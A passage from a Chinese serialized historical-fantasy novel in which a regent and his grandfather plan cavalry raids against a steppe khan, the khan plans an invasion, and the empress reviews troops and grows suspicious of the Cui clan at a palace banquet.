“陛下旨意,兵部、户部即日筹措粮草军械,秘密调遣京畿、中原精锐十万,分批驰援北疆,统归镇北将军郑蛟节制。北疆各军镇即日起进入一级战备。但陛下之意,绝非固守待援。” 他的手指沿着地图上标注的几条隐秘路线划过, 第1062章 思路是对的 “陛下的核心方略是:以攻代守!在主力集结的同时,派遣精锐骑兵,组成数支轻骑快旅,每支千人左右,配备双马乃至三马,携带足够半月之用的精良箭矢、火油与干粮,趁漠北各部尚未完全集结、警惕性或因寒冬而有所松懈之机,利用我们对边境地形的熟悉,分多路、择机秘密越过边境,深入漠北境内!” 林臻的手指重重地点在漠北腹地的几个关键节点上: “他们的任务不是决战,而是游击!袭扰其通往龙城及各部的重要粮道,焚毁其提前囤积的草场,猎杀其小股巡逻队和斥候,攻击其防御薄弱的偏远部落!目的有三:一,断其粮草,疲其兵力,乱其军心;二,摸清漠北境内兵力部署、部落虚实以及乌维的真实动向;三,也是最重要的一点,将战火引向漠北境内,打乱乌维的春季攻势部署,让他无法从容备战,甚至迫使其提前发动或改变计划,从而陷入被动!” 林震仙凝神听着,手指无意识地敲击着榻几边缘,眼中光芒闪烁,显然在飞速地推演着这个计划的可行性与风险。 半晌,他缓缓开口,声音低沉: “嗯……思路是对的。避实击虚,攻其必救,乱其方寸。这确实是应对当前局势的上策。比一味死守强,也比贸然寻求主力决战稳妥。看来陛下身边,有高人指点。” 他说着,意味深长地看了林臻一眼。 林臻微微垂首:“爷爷谬赞。此乃陛下圣裁,孙儿与杜相、兵部周尚书等,只是查漏补缺。” 他并未居功,但眼神中的锐气却表明他深度参与了谋划。 “人选呢?”林震仙问到了最关键的问题, “深入漠北腹地,千里奔袭,险象环生。领兵之将,需得胆大心细,勇猛果决,更需对陛下、对大乾绝对忠诚,还要熟悉漠北风俗地理,甚至通晓胡语。这样的人,可不好找。郑蛟要坐镇中枢,统筹全局,不宜轻动。” 林臻显然早有腹案,他取出一份小小的名单,递给祖父: “孙儿初步拟定了几个候选人。首位是骁骑营中郎将赵破虏,此人祖上便是边军出身,他自幼在边关长大,精通胡语,熟悉漠北地理,勇猛过人,且曾多次率小股部队出塞侦察,有实战经验。其次是虎贲卫郎将李敢,虽年轻,但心思缜密,骑射精湛,尤擅长途奔袭,其父李广利曾是爷爷麾下爱将,忠心可鉴。还有一位,是羽林卫的年轻校尉苏定方,虽职位不高,但孙儿观察他许久,此人颇有韬略,沉稳有度,是可造之材。孙儿打算明日便秘密召见他们,亲自考核,最终定夺。” 林震仙仔细看着名单,沉吟片刻,点了点头: “赵破虏确是最佳人选,经验丰富,可担主力一路。李敢勇锐,可为偏师策应。苏定方……既然你看好,不妨给他个机会,带一支小队历练,或可出奇效。” 他放下名单,目光锐利地看向林臻, “但你要记住,千里馈粮,士有饥色。深入敌后,补给断绝,危机四伏。除了将领之才,对士卒的挑选、装备的精良、战马的耐力、尤其是退路的安排,乃至一旦被俘或失败如何应对,都必须有周详的预案!绝不能让他们成为孤军送死!” “爷爷放心!”林臻神色肃然, “孙儿已令军械监优先为出击部队配备最精良的复合弓、弩箭、马刀,以及便于携带的燃烧罐和信号火箭。战马全部选用河西良驹,并配足备用马匹。每人携带高热量的肉脯、乳酪和盐。路线选择上,会尽量避开漠北主力,利用冬季河道冰封、部分沼泽冻硬的便利,选择隐蔽路径。同时,会派出最精锐的‘夜枭’小组随行或在前接应,负责情报传递与必要时指引撤退路线。至于退路……” 他手指在舆图上划了几条迂回的线, “一旦得手或遇险,可向西北方向撤退,进入西域车师等国势力范围的边缘地带暂避,或向东绕行阴山山脉返回。孙儿已密令安西都护府和云中郡守军,做好接应准备。” 林震仙仔细听着孙子的部署,眼中赞赏之色愈浓。 他这个孙子,不仅继承了林家的勇武,更青出于蓝,心思之缜密,谋划之周全,已远超同龄之人。他缓缓颔首: “思虑周详,很好。但计划终究是计划,战场瞬息万变,要赋予前线将领足够的临机决断之权,将在外,君命有所不受。” “孙儿明白。”林臻郑重应下,“陛下也已授权,前线将领可根据实际情况,便宜行事。” 祖孙二人又就粮草调配的时间节点、各军镇协同的细节、如何防范漠北可能进行的报复性反击、以及如何利用此次军事行动,配合杜如晦在朝野进行的舆论攻势,进一步揭露乌维和孔家子的真面目等问题,进行了深入的探讨。 烛火摇曳,将祖孙二人专注的身影投在墙壁上,舆图上密密麻麻的标记,仿佛预示着即将到来的血雨腥风。 不知不觉,已是子夜时分。 老仆进来添了一次炭火,又悄声退下。 林震仙脸上露出一丝倦容,但精神依旧矍铄。 他端起已经微凉的茶,喝了一口,看着对面目光炯炯的孙子,忽然问道: “臻儿,此战若开,无论胜负,边境百姓难免遭殃,国库消耗巨大,朝中亦必有非议。你……和陛下,可曾想好,如何应对可能出现的艰难局面?尤其是……若战事不利?” 林臻迎上祖父的目光,没有丝毫回避,眼神坚定如铁: “爷爷,孙儿与陛下深知此战关乎国运。但有些仗,明知艰难,也必须要打!今日退缩,明日敌人就会得寸进尺!乌维勾结孔家余孽,其意不在掳掠,而在动摇国本!此战,非为逞强,实为求生!为子孙后代,打出一个真正的太平!至于艰难……” 他顿了顿,语气斩钉截铁, “陛下与孙儿,既已做出抉择,便早有承担一切后果的准备!纵有千难万险,亦一往无前!朝中若有非议,自有国法应对!边境百姓之苦,战后朝廷必倾力抚恤!但此战,绝无退路!” 看着孙子眼中那不容置疑的决心与担当,林震仙心中最后一丝担忧也烟消云散,取而代之的是无比的欣慰与自豪。 他放下茶盏,重重一拍榻几,声若洪钟: “好!这才是我林家的子孙!这才是我大乾的摄政亲王!既然你们夫妻二人已有如此决心与谋略,爷爷我这把老骨头,也没什么好多说的了!放心去做!王府旧部,边军故旧,若有需要,爷爷这张老脸,还是能帮你们调动几分力量的!” “孙儿,谢爷爷!”林臻起身,深深一揖。他知道,祖父这句承诺,分量极重。 林震仙摆摆手:“行了,夜深了,你也累了一天,早些回宫歇息吧。陛下身边,离不开你。出兵的具体事宜,明日你自去安排,若有难处,随时来告我。” “是,爷爷也请早些安歇。”林臻再次行礼,退出了书斋。 站在院中,凛冽的寒气让林臻精神一振。 他抬头望了望漆黑的天幕,几颗寒星闪烁。 第1063章 你算计我,我也算计你 当大乾帝都长安的摄政王府内,林臻与祖父林震仙对着舆图运筹帷幄之际,数千里之外,漠北王庭所在地——龙城,正笼罩在一场铺天盖地的白毛风之中。 狂风卷着雪沫,嘶吼着掠过广袤无垠的荒原,抽打在龙城外那些连绵起伏的毡帐和低矮土坯房上,发出鬼哭狼嚎般的声响。 气温骤降,呵气成冰,连最耐寒的草原狼也都蜷缩在洞穴深处,躲避着这能冻裂骨头的严寒。 然而,在这片仿佛被天地遗弃的苦寒之地的中心,龙城内那座最为高大、用巨石和硬木垒砌而成的王庭大殿内,却是另一番景象。 巨大的牛油蜡烛插满墙壁的青铜烛台,燃烧时噼啪作响,将大殿照得亮如白昼,也带来了些许暖意。 数个巨大的铜盆里,上好的牛粪干和一种耐烧的灌木根茎燃着熊熊火焰,驱散着从门窗缝隙钻入的寒气,让殿内温度维持在一种可以忍受的程度。 空气中弥漫着浓郁的奶腥味、牛羊肉的膻气、皮革的味道以及一种属于权力中心的、压抑而躁动的气息。 漠北大汗乌维,这位年过五旬、统治着辽阔草原的枭雄,并未坐在他那张铺着完整白虎皮的王座上。 他身穿一件厚重的、边缘镶着貂皮的狼皮袍子,腰束金带,皮袍下隐约可见精良的锁子甲。他站在大殿中央,一个巨大的、粗糙的沙盘前。 这沙盘用泥土、沙石和草梗粗略地堆砌出了漠北草原南部与大乾北疆接壤地带的山川河流、戈壁荒漠以及重要的关隘城池。 与林臻在长安看到的精制舆图相比,这个沙盘显得原始而简陋,但却更符合草原民族直观、实用的风格。 乌维身材不算特别高大,但极其壮硕,肩膀宽阔,四肢粗壮,一张饱经风霜的阔脸上,颧骨高耸,眼窝深陷,一双鹰隼般的眼睛在跳动的烛光下闪烁着精明、冷酷而又充满野心的光芒。 他手中拿着一根马鞭,鞭梢不时点着沙盘上代表大乾北疆重要军镇“朔方”、“云中”的木牌,眉头紧锁,陷入沉思。 他的身边,围拢着几名心腹重臣和部落首领。有身形魁梧如熊、满脸虬髯的左谷蠡王阿提拉,他是乌维麾下最勇猛的战将。 有身形瘦削、眼神阴鸷的右贤王呼衍卓,以智谋和狡诈著称;还有几位是实力雄厚的大部落首领,如浑邪王、休屠王等,他们个个身着皮袍,腰佩弯刀,脸上带着草原勇士特有的剽悍与对战争的渴望。 “大汗,”左谷蠡王阿提拉声音洪亮,带着不耐烦, “这鬼天气还要持续多久?儿郎们的刀都快生锈了!依我看,等这场风雪一停,咱们就立刻集结兵马,南下打草谷!听说南边今年是个暖冬,他们的城池里堆满了过年的粮食和布匹,还有娇嫩得能掐出水的女人!何必在这里干耗着?” 右贤王呼衍卓阴恻恻地笑了笑,声音像是夜枭: “阿提拉,你的勇猛如同草原上的雄狮,但有时候,狮子也需要狐狸的智慧。大乾不是那些任我们宰割的小部落。他们的城墙高大,弩箭锋利。贸然进攻,就算能攻下一两座边城,也必然损失惨重。别忘了,镇守北疆的郑蛟,可不是易与之辈。” “哼!郑蛟又如何?”阿提拉不屑地啐了一口,“去年秋天,他的巡逻队不还是被我们吃得干干净净?南人只会躲在城墙后面,论骑马射箭,他们给我们提鞋都不配!” “好了。”乌维终于开口,声音低沉沙哑,却带着不容置疑的威严,顿时让争论的两人安静下来。 他的马鞭从朔方城移开,缓缓划过整个北部边境线,最终点在了沙盘上代表大乾腹地的区域。 “阿提拉的勇气,是我们手中的利箭;呼衍卓的谨慎,是我们身上的皮甲。缺一不可。” 他抬起鹰隼般的眼睛,扫过在场的每一个人: “我们是要南下,但不是为了抢点粮食女人那么简单的小打小闹。我们要的,是那片肥沃的土地,是那些数不尽的财富和人口,是重现祖先荣光,入主中原!”他的声音逐渐提高,带着一种蛊惑人心的力量,“大乾的新皇帝是个女人,登基不久,根基未稳。朝中那些文人,整天争权夺利,勾心斗角。这正是长生天赐予我们的最好机会!” 呼衍卓适时接口,语气带着谄媚:“大汗英明!而且,我们手中现在还有了一张好牌。” 他意味深长地笑了笑, “那位‘圣裔驸马’,孔志谦孔公子,虽然年轻,但身份特殊。好好利用,可以在南人内部制造混乱,让那些还对前朝、对孔圣人心存念想的人动摇。这比十万铁骑的威力,或许更大。” 提到孔志谦,乌维脸上露出一丝难以察觉的冷笑。那个被他从破落寺庙中找出来的、怯懦寡言的年轻人,不过是他棋盘上的一枚棋子。 “孔家子自然有用,但归根结底,草原的规矩,最终还是靠刀箭说话!” 他用马鞭重重敲了一下沙盘边缘, “我们不能等到春天草长莺飞,那时南人也做好了准备。我们要打,就要打他个措手不及!” 他俯下身,手指在沙盘上划出一条曲折的路线: “这场风雪是阻碍,也是掩护。大乾的斥候在这种天气里不敢远出。我们可以利用这一点,将各部最精锐的骑兵,提前秘密集结到边境附近的几个隐蔽山谷。风雪一停,立刻兵分三路!” 他的手指点向三个方向: “阿提拉,你率领本部两万铁骑,加上浑邪部一万,主攻朔方城!朔方城墙高池深,但守将年迈,且去年被我们骚扰,兵力有所折损。我给你配发这段时间工匠们加紧赶制的简易攻城器械,不要强攻,以骚扰和试探为主,吸引郑蛟的注意力!” “呼衍卓,你带领一万五千精骑,绕道西边,从戈壁边缘渗透进去,目标是云中郡周边的屯田和村镇!烧!抢!杀!制造恐慌,动摇其后方,让郑蛟首尾不能相顾!” “而我,”乌维眼中寒光一闪,手指点向一个看似不起眼的关隘, “亲自带领王庭最精锐的一万金狼骑,从这里,破虎口,直插进去!这里守军薄弱,地形复杂,南人必然疏于防范。一旦突破,就能像一把尖刀,插入大乾的软肋,威胁其腹地!届时,我倒要看看,那个坐在凤椅上的女皇帝,还坐不坐得住!” 这个计划大胆而冒险,尤其是乌维亲自率领偏师奇袭的环节。 几位部落首领面面相觑,既为计划的狠辣和可能的巨大收益而兴奋,也为其中的风险而感到担忧。 “大汗,您亲自冒险,是否……”休屠王迟疑地开口。 乌维一摆手,打断了他,语气斩钉截铁: “不必多言!富贵险中求!此次南征,关乎我漠北国运!必须由我亲自掌控!各部立刻回去准备,挑选最勇猛的战士,备足箭矢肉干,喂饱战马!风雪一停,即刻按计划行动!记住,动作要快,要狠!像狼群一样,撕开南人的防线!” “是!大汗!”众将轰然应诺,眼中燃烧起对财富和杀戮的渴望。他们仿佛已经看到了中原的花花世界在向自己招手。 乌维看着手下将领们亢奋的神情,满意地点了点头。 他走到窗边,推开一条缝隙,凛冽的寒风夹着雪沫瞬间灌入,让他精神一振。 他望着外面漆黑一片、唯有风雪呼啸的夜空,喃喃自语,声音低得只有自己能听见: “慕容家的小丫头,林家的那个小子……这盘棋,才刚刚开始。你们准备好了吗?这万里中原,我乌维,要定了!” 就在他准备关上窗户,转身继续部署细节的瞬间—— 殿外一阵狂风猛地撞击在窗户上,发出“哐当”一声巨响,强烈的气流倒卷进大殿,吹得烛火剧烈摇曳,靠近窗户的旗帜猎猎作响! 乌维被这突如其来的狂风迫得微微侧身,以手护面。 他身上那件厚重的狼皮大氅,下摆被风猛地吹起,露出了里面穿着的精良铁甲和腰间的镶金弯刀。 甲胄的金属鳞片在烛光下反射出冰冷的光泽,弯刀刀柄上镶嵌的宝石闪烁着幽暗的光芒,与他眼中那毫不掩饰的侵略野心,交相辉映。 风势稍缓,他用力关紧窗户,将暴风雪重新隔绝在外。 第1064章 大阅兵 凛冬的寒意终于在几场淅淅沥沥的春雨中彻底退去,温暖的春风吹拂过大地,消融了最后一点残雪,也唤醒了蛰伏一冬的生机。 长安城外的渭水河畔,垂柳吐出新绿,野花星星点点地绽放。 然而,在这片万象更新的春光里,帝国北疆的战备气氛却并未随着天气转暖而有丝毫松懈,反而如同这加速生长的草木般,日益紧绷。 这一日,天气晴好,碧空如洗。 京畿大营,这座拱卫帝都最重要的军事要塞,一改往日的肃杀沉寂,充满了一种节庆般的、却又更加肃穆的热烈气氛。 营寨内外,旌旗招展,甲胄鲜明的士兵们列成整齐的方阵,枪戟如林,在阳光下闪烁着冷冽的寒光。 空气中弥漫着皮革、钢铁和尘土混合的特有气味,以及一种无声的、压抑着的激昂情绪。所有将士的目光,都热切地投向辕门的方向,翘首以盼。 辰时三刻,清脆悠扬的净鞭声由远及近,皇家仪仗缓缓出现在官道尽头。 威严的卤簿、精锐的禁军骑兵簇拥着核心那辆华贵非凡的凤辇。 车驾在大营辕门外稳稳停住。早已在此恭候的多时、以兵部尚书周擎、京畿节度使为首的众多高级将领,立即快步上前,齐刷刷单膝跪地,甲胄碰撞之声铿锵作响,声震四野: “臣等恭迎陛下圣驾!陛下万岁,万岁,万万岁!” 凤辇的车帘被两名内侍轻轻掀起。 首先迈步而出的,是摄政亲王林臻。 他今日未着亲王常服,而是换上了一身合体的玄色绣金蟒纹劲装,外罩轻甲,腰佩长剑,更显得身姿挺拔,英气逼人,眉宇间既有亲王的尊贵,又透出久经沙场的沉稳与干练。 他下车后,并未立刻让开,而是转过身,极为自然地、小心翼翼地向车内伸出手。 一只纤纤玉手,轻轻搭在了林臻的手腕上。 随后,慕容嫣俯身,优雅地步下凤辇。 她依旧只穿着那身已成为她标志的寝居常服——神凤降世裙。 然而,与在宫中时不同,或许是为了契合这军营的环境,彰显与将士同甘共苦的意味,她外面罩着的那件黑金色霞帔,样式更为简洁利落,少了些宫廷的飘逸,多了几分庄重。 此刻,春日的阳光毫无保留地倾洒下来,清晰地映照出这身衣袍的每一个细节。 那神凤降世裙,以极致玄黑的苏锦为底料,织入的金色棉绒在明媚的阳光下,不再是内敛的暗流,而是化为了肉眼可见的、细碎而璀璨的金色星芒,在墨黑的底色上静静流淌,使整块面料呈现出一种既深沉又辉煌的独特质感。 苏锦工艺的精湛,确保了这件棉质睡裙极致的轻盈与透气,即便在春日渐暖的天气里,穿着这裙幅巨大的衣裳,也不会感到特别沉重闷热。 裙身之上,用最上等的真金线,以卓绝的绣工绣制的那只布满整体的擎天巨凤,在阳光下彻底焕发出夺目的光彩。 凤首高昂,带着睥睨天下的威仪,双翼展开,覆盖了宽大华丽的喇叭袖,袖口的金线流苏随着她的步履轻轻摇曳,折射出点点金光,凤尾则与那长达五丈的苏锦拖尾完美相连。 此刻,这长长的拖尾,并未经任何宫人拾掇,就那般迤逦在她身后,拖行在军营辕门内略显粗糙、满是尘土的沙土地上。 华贵的墨金色锦缎与灰黄的泥土接触,立刻沾染上了明显的尘迹,裙摆被地上的小石子、枯草根勾挂,形成更多自然的褶皱和凌乱的拖痕。 从她下车处,一直到她此刻站立的位置,这拖尾在身后铺散开一条漫长而显眼的轨迹,与周围士兵们整齐划一、纤尘不染的军阵形成了极其鲜明而又充满象征意义的对比。 帝王的尊贵威仪,与战场的粗粝尘土,在此刻直接碰撞、交融。这种不加修饰的、自然而然的凌乱,非但没有折损她的威严,反而在数万将士眼中,更增添了一种难以言喻的、真实而强大的亲和力与震撼力。 她左手拇指上的那枚墨玉扳指,在阳光下泛着温润而深邃的光泽。 “众卿平身。”慕容嫣目光扫过眼前黑压压跪倒一片的将领,声音清越,并不高昂,却清晰地传入了每个人的耳中,带着一种天生的、令人心折的威压。 “谢陛下!”众将轰然应诺,站起身来,但依旧微微垂首,以示恭敬。 兵部尚书周擎上前一步,躬身道:“京畿大营全体将士,已列队完毕,请陛下检阅!” 慕容嫣微微颔首,目光投向远处那一片肃杀整齐、一眼望不到边的军阵,阳光下,无数盔甲和兵器反射出令人心悸的寒光。 她深吸一口气,空气中充满了钢铁和男儿汗水的阳刚气息。 她侧过头,看向身旁的林臻,唇角微微上扬,露出一抹极淡的、带着信赖与询问的笑意,声音也放柔了些许,低声道:“夫君,你看这军容,可还雄壮?” 林臻迎上她的目光,眼中满是赞赏与坚定,他也压低声音回道:“陛下亲临,将士用命,军心可用,自然雄壮无比。” 他微微靠前一步,形成一个隐隐保护的姿态,声音沉稳地补充道,“有如此虎贲之师,何愁漠北不破?” 慕容嫣眼中笑意更深,点了点头。她重新转向众将,脸上恢复了帝王的雍容与威仪,朗声道:“有劳周爱卿,众位将军。前头引路吧。” “臣等遵旨!” 在周擎等高级将领的簇拥下,慕容嫣与林臻并肩,缓步向点将台走去。 那长达五丈的墨金色拖尾,在身后沙土地上迤逦前行,所过之处,留下一条清晰而独特的痕迹。两侧列队的士兵们,屏息凝神,目光灼热地追随着他们的女帝。 他们看到陛下并未乘坐步辇,而是徒步行走;看到她那身华贵得不像凡间之物的衣裙,就那样毫不吝惜地拖行在尘土之中。 更看到他们心目中战神一般的摄政亲王,始终守护在陛下身侧,夫妻二人之间那种无需言语的默契与深情。 这一切,都极大地鼓舞了士气。 登上高大的点将台,视野豁然开朗。 台下,是数万精锐将士组成的巨大方阵,鸦雀无声,只有战旗在春风中猎猎作响的声响。 一种无形的、庞大的力量感扑面而来。 慕容嫣走到台前,林臻立于她身侧稍后的位置。 她目光缓缓扫过台下无数张年轻、坚毅、充满崇拜与忠诚的面孔。 春风拂过,吹动她鬓角的发丝,也吹动了她身上那墨金色的宽大衣袖和迤逦的拖尾。 她并没有立刻发表长篇大论的训话,而是沉默了片刻,仿佛在感受这磅礴的军威,也让将士们能更清楚地看到他们的君主。 然后,她才开口,声音通过内力传出,清晰地回荡在偌大的校场上空: “大乾的将士们!” 仅仅五个字,沉稳而有力,瞬间抓住了所有人的心神。 “朕今日来,不是来看花团锦簇,不是来听阿谀奉承。” 她的声音不高,却带着金石之音,敲在每个人的心上, “朕是来看你们,看我大乾的铮铮铁骨,看我社稷的万里长城!” 她微微停顿,凤眸中锐光闪烁: “如今,春回大地,万物复苏。但有些人,却不想让我们安稳地过日子!漠北的豺狼,磨利了爪牙,窥伺着我大乾的繁华,妄图践踏我们的土地,掳掠我们的妻儿!他们,甚至勾结国贼逆子,妄图动摇我们的根基!你们说,我们能答应吗?” “不能!不能!不能!”数万人齐声怒吼,声浪如同海啸,直冲云霄,震得点将台上的旗帜都微微颤抖。 第1065章 崔家有问题 慕容嫣抬手,虚按一下,海啸般的怒吼瞬间平息。她继续道,语气中带上了森然的杀意: “朕,亦不答应!这大乾的江山,是朕的父皇,是无数先烈,是包括你们在座的每一位的父兄,用血与火打下来的!这每一寸土地,都浸透着我们先辈的汗水与鲜血!容不得任何魑魅魍魉前来染指!” 她的目光变得更加锐利,仿佛能穿透人心: “养兵千日,用兵一时!朝廷倾尽国力,供给你们最精良的铠甲,最锋利的兵器,最充足的粮饷,为的是什么?为的就是有朝一日,当敌人来犯时,你们能成为最锋利的矛,最坚固的盾!用你们手中的刀枪,告诉那些胆敢觊觎者:犯我大乾天威者,虽远必诛!” “虽远必诛!虽远必诛!”将士们的情绪被彻底点燃,吼声一浪高过一浪。 “好!”慕容嫣赞许地点头,声音陡然拔高,带着无比的决绝与信任, “朕,相信你们!朕与摄政王,与朝廷,是你们最坚实的后盾!待到他日,王师北定,朕,将在这京城之外,设下凯旋盛宴,亲自为有功将士,把盏庆功!” 她的承诺,如同最烈的酒,浇在了将士们熊熊燃烧的战意之上。 欢呼声、兵器顿地的声音响彻天地。 训话完毕,慕容嫣在林臻和周擎的陪同下,开始巡视各营方阵。 她走得很慢,目光仔细地扫过士兵们的脸庞、他们擦得锃亮的盔甲和兵器。偶尔,她会停下脚步,向林臻或周擎询问几句关于兵种配置、训练情况的问题。 林臻总是能及时给出清晰准确的回答,或是由周擎进行补充。 每当这时,慕容嫣便会微微侧首,认真倾听,不时点头,那专注的神情,让周围的将领感到无比的被重视。 当走到一支以弓弩见长的部队前时,慕容嫣对士兵手中造型奇特的强弩产生了兴趣。 林臻示意一名校尉上前演示。校尉紧张地出列,行礼,然后熟练地张弓、搭箭、瞄准远处的箭靶。 慕容嫣看得仔细。 就在那校尉演示完毕,收弩退下,慕容嫣顺势转身,准备走向下一个方阵的瞬间—— 动作带着视察中的专注与迈向下一目标的决断! 那迤逦在点将台坚硬地面及巡视路途沙土地上、沾染了无数尘埃、凌乱长达五丈的墨金色苏锦拖尾,被这骤然转身的动作猛地带动! 华贵的锦缎拂过地面,带起一缕细微的尘土。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在春日灿烂阳光下、闪烁着如同正午骄阳般炽热而辉煌光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种与数万将士冲霄战意相呼应的、无比灼热而强大的金芒! 那光芒充满了对忠诚勇士的嘉许、对帝国军威的自豪、以及对未来胜利的绝对信念,尊贵、辉煌,且带着一种与麾下将士血脉相连、同气连枝的磅礴气势! 这惊鸿一瞥,是她作为最高统帅,与这支军队灵魂共鸣的象征! 裙摆落下,将那片灼热的金光与飞扬的尘土一同掩盖。慕容嫣继续她的巡视,所到之处,激起将士们山呼海啸般的效忠誓言。 林臻始终紧随其后,目光警惕地扫视四周,确保万无一失,看向慕容嫣侧脸时,眼中则充满了骄傲与深情。 春日的阳光,温暖地洒在帝后二人身上,洒在那身迤逦于尘土中的墨金色神凤降世裙上,也洒在数万将士铮亮的盔甲上。 ...... 春光愈发烂漫,御花园内百花争艳,蜂蝶翩跹。 连月来,北疆军情如火,慕容嫣与林臻倾注了巨大心力于调兵遣将、筹措粮饷之上,朝野上下也弥漫着一股紧张的战前气氛。 为稍作舒缓,也为了进一步观察和笼络群臣,慕容嫣下旨,于宫中设春日小宴,邀请部分宗室重臣及家眷,共赏春色。 宴会设在太液池畔的临风阁。 此处视野开阔,碧波荡漾,垂柳依依,暖风拂面,确是个放松身心的好去处。 阁内布置得精致而不失皇家气度,案几上摆放着时令鲜果、精致茶点,丝竹管弦之声悠扬悦耳,一派祥和景象。 慕容嫣端坐于主位之上。 她穿着神凤降世裙,只是在外面罩了一件更为轻便、绣工依旧精美的黑金色霞帔,以应景春日宴饮的闲适氛围。 午后温暖的阳光透过雕花窗棂洒入阁内,映照在那墨黑为底、织入金色棉绒的苏锦之上,使得那沉静的玄色中流淌的暗金光泽变得柔和而明媚。 苏锦工艺赋予这件棉质睡裙的轻盈特性,在春日里更显舒适。 裙身上,那只用真金线绣制的、布满整体的擎天巨凤,在光下不再显得那么咄咄逼人,反而多了一份雍容华贵。宽大的喇叭袖口,金线流苏随着她偶尔抬手示意而轻轻摇曳。 那长达五丈的苏锦拖尾,在阁内光滑如镜的金砖地面上迤逦铺开,因她坐于主位,裙摆自然堆叠在凤椅周围,一部分蜿蜒至案几下,更有一部分长长地拖曳至阁门方向。 在宫女们轻盈的步履间,被不经意地带动,形成一种看似随意、实则充满存在感的凌乱之美。 她左手拇指上的墨玉扳指,在春光下泛着温润的光泽。 林臻坐于她身侧稍下的位置,身着亲王常服,气度沉稳。 他时而与邻近的宗室长辈低声交谈,时而又将目光温柔地投向主位上的慕容嫣,留意着她的需求。 帝后二人之间那种无需言语的默契与深情,在春日暖阳下,显得格外自然动人。 被邀请的臣工与家眷们,按品级落座,人人脸上都带着得沐天恩的荣幸与轻松。 酒过三巡,气氛愈加热络。 宗室子弟们吟诗作对,女眷们轻声笑语,欣赏着池畔春光。 慕容嫣也暂时放下了朝政的烦忧,面带浅笑,偶尔与近座的几位老王妃说上几句家常,询问其子女近况,显得平易近人。 “陛下今日气色极佳,这满园春色,亦不及陛下凤仪之万一。”一位须发皆白的老郡王举杯敬道,话语中满是恭敬。 慕容嫣微微一笑,端起面前的玉杯,浅酌一口宫中新酿的桃花醉,柔声道: “皇叔过奖了。春日本该放松,只可惜北疆未靖,朕与亲王,终究难以全然安心。” 她话语轻柔,却适时地将话题引回了正事,目光似是不经意地扫过在场众人。 “陛下忧国忧民,实乃万民之福。” 接话的是坐在稍远一些席位上的崔氏族长、礼部侍郎崔明远。崔家乃清河大族,世代簪缨,门生故吏遍布朝野,在士林中声望极高。 虽不及孔家那般被誉为“圣人苗裔”,但其影响力深厚绵长,不容小觑。 崔明远年约四旬,面容白净,三缕长须,气质儒雅,言谈举止极合礼法。 他起身,恭敬地向慕容嫣行礼,声音平和舒缓: “然陛下亦需保重圣体。北疆之事,有摄政王殿下运筹帷幄,郑蛟将军等忠勇将士用命,必能克敌制胜。陛下坐镇中枢,稳定朝局,便是对前线最大的支持。” 这番话,听起来滴水不漏,满是忠君爱国之辞,在场众人纷纷点头称是。 第1066章 崔家造反? 慕容嫣也含笑颔首:“崔爱卿所言甚是。朝局稳定,确是根本。” 然而,坐在慕容嫣身侧的林臻,却微微眯起了眼睛。 他敏锐地察觉到,崔明远这话语中,似乎将他和前线将士的作用刻意突出,而将慕容嫣的定位局限于“坐镇”和“稳定”,隐隐有种将帝后之功分离的意味。 而且,崔家与孔家向来在士林中并称,关系盘根错节。 孔家被灭门,崔家虽表面上未发一言,但其族中子弟及门生,近来在一些非正式场合,似乎对“刑罚过酷”颇有微词,只是言辞极其隐晦,令人抓不住把柄。 慕容嫣仿佛并未察觉任何异常,依旧与众人谈笑风生。 她甚至兴致勃勃地指着池中一对戏水的鸳鸯,对林臻笑道: “夫君你看,那鸳鸯成双成对,倒是应了这春日的景致。” 林臻收回思绪,转头看她,眼中满是柔情,配合地笑道:“是啊,春日正好,万物生机勃勃。只可惜你我身负重任,难得有如此闲暇共赏。” 他话语中带着一丝惋惜,更显夫妻情深。 慕容嫣闻言,眼中流露出一丝依赖,轻轻叹了口气:“是啊,若非有夫君替我分担这许多,朕只怕连这片刻春光也无福消受呢。” 她语气娇憨,像是在对最亲近的人撒娇。 这番互动,落在众臣眼中,自然是帝后恩爱、君臣和睦的佳话。 不少人露出会心的微笑。唯有崔明远,垂眸饮酒的瞬间,眼底深处闪过一丝极快、极难察觉的复杂光芒,似是惋惜,又似是一丝不以为然。 但他很快便抬起头,脸上依旧是那副温文尔雅、恭敬从容的表情。 宴会继续进行。又有几位大臣起身敬酒,说些歌功颂德、预祝北疆大捷的话。 慕容嫣一一应对,举止得体,威仪天成。 当一位宗室少女献上一曲琵琶独奏后,慕容嫣还特意赏了她一对玉如意,以示鼓励,引得众人称赞陛下仁厚。 期间,慕容嫣似乎坐得久了,想要换个姿势,欣赏一下窗外另一侧的景致。她微微侧身,面向太液池的方向。 就在她回身的瞬间—— 动作带着宴饮间的闲适与自然! 那铺散在凤椅周围、地面之上、迤逦凌乱长达五丈的墨金色苏锦拖尾,被这轻柔的转身动作悄然带动! 华贵的锦缎拂过光滑的地面,发出极轻微的“窸窣”声。 随着拖尾的轻柔飘起——赫然露出了里面那金线密织、在春日明媚阳光下、闪烁着如同湖面粼粼波光般温暖而敏锐光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种于祥和之下洞察秋毫的、清亮而深邃的金芒! 那光芒充满了对臣子言行的审视、对潜在风险的警惕,以及一种身处繁华却心系风云的帝王睿智,尊贵、辉煌,且带着一种看似放松实则从未松懈的、掌控全局的冷静力量! 这惊鸿一瞥,是她身为统治者,在歌舞升平中依旧保持清醒头脑的象征。 裙摆落下,将那片锐利的金光掩盖。 慕容嫣的目光投向窗外的碧水蓝天,似乎完全沉浸在这片春色之中。 然而,在她看似平静的侧脸上,林臻却捕捉到了一丝极细微的、若有所思的神情。 宴会持续到申时方散。 臣工们携家眷叩谢天恩,依次退去。 临风阁内渐渐安静下来,只剩下收拾残局的宫人。 慕容嫣并未立刻起身,她依旧坐在凤椅上,指尖无意识地轻叩着扶手,望着窗外渐渐西斜的日头,脸上的笑容慢慢收敛,恢复了平日处理政务时的清冷与深邃。 林臻挥手让所有宫人退到阁外等候,他走到慕容嫣身边,俯下身,轻声问道:“嫣儿,怎么了?可是累了?” 他的手自然地覆上她放在扶手上的手背。 慕容嫣反手握住他的手指,微微用力,抬起头看他,凤眸中已无丝毫方才的慵懒,取而代之的是一种锐利的清明: “夫君,你觉不觉得……今日崔明远的话,有些……过于周全了?” 林臻心中一动,果然,他的嫣儿也察觉了。 他点点头,在她身旁坐下,低声道: 